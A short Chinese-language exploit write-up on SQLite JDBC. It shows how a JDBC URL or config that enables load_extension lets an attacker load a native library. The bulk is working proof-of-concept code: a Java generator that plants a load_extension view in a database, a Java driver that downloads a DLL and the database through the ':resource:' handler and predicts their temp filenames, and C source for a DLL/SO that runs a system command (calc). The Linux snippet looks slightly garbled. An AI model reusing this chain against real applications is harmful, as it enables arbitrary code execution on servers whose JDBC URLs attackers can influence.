Sqlite JDBC利用

漏洞成因

在org.sqlite.SQLiteConfig中

load\_extension()这个加载dll的开关，可以通过jdbc控制

jdbc:sqlite:file:"+db+"?enable_load_extension=true

select load_extension('"+dll+"','dllmain')

Gen.Java文件

package org.example;

import java.io.File;
import java.net.URL;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.Statement;

public class Gen {
    public static void main(String[] args) {

        try {
            String dbFile = "poc.db";
            File file = new File(dbFile);
            Class.forName("org.sqlite.JDBC");
            Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
            System.out.println("Opened database successfully");


            String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('C:\\Users\\admin\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-1097580145.db','dllmain'));";  //向其中插入传入的三个参数
            PreparedStatement preStmt = conn.prepareStatement(sql);

            preStmt.executeUpdate();
            preStmt.close();
            conn.close();

        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

Test1.java文件

package org.example;

import org.sqlite.SQLiteConfig;

import java.io.File;
import java.net.URL;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class Test1 {
    public static void main(String[] args) throws Exception{

        Class.forName("org.sqlite.JDBC");
        SQLiteConfig config = new SQLiteConfig();
        config.enableLoadExtension(true);
        String url1 = "http://127.0.0.1:9999/poc.db";
        String url2 = "http://127.0.0.1:9999/exp1.dll";
        String tmp = "C:\\Users\\admin\\AppData\\Local\\Temp\\sqlite-jdbc-tmp";
        String tmp1 = "C:\\Users\\admin\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-";
        String db = tmp1 + new URL(url1).hashCode() + ".db";
        String dll = tmp1 + new URL(url2).hashCode() + ".db";
        System.out.println(db);
        System.out.println(dll);
        new File(db).delete();
        new File(dll).delete();

        DriverManager.getConnection("jdbc:sqlite::resource:"+url2,config.toProperties()).close();
        DriverManager.getConnection("jdbc:sqlite::resource:"+url1,config.toProperties()).close();

        Connection conn = DriverManager.getConnection("jdbc:sqlite:file:"+db+"?enable_load_extension=true");
        Statement stmt = conn.createStatement();

        String sql = "select load_extension('"+dll+"','dllmain')";
        stmt.execute(sql);
    }
}

Dll、So文件

//gcc -shared -o exp.dll exp.c -lws2_32
#include <windows.h>
#include <stdlib.h>

__declspec(dllexport) void dllmain() {
    system("calc.exe");
}

static char waste[500 * 1024] = {2};

//gcc -shared -fPIC exp.c -o exp.so
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
    system("calc'");
}}

void space() {{
    // this just exists so the resulting binary is > 500kB
         static char waste[500 * 1024] = {{2}};
}}

企业微信截图_1769511006542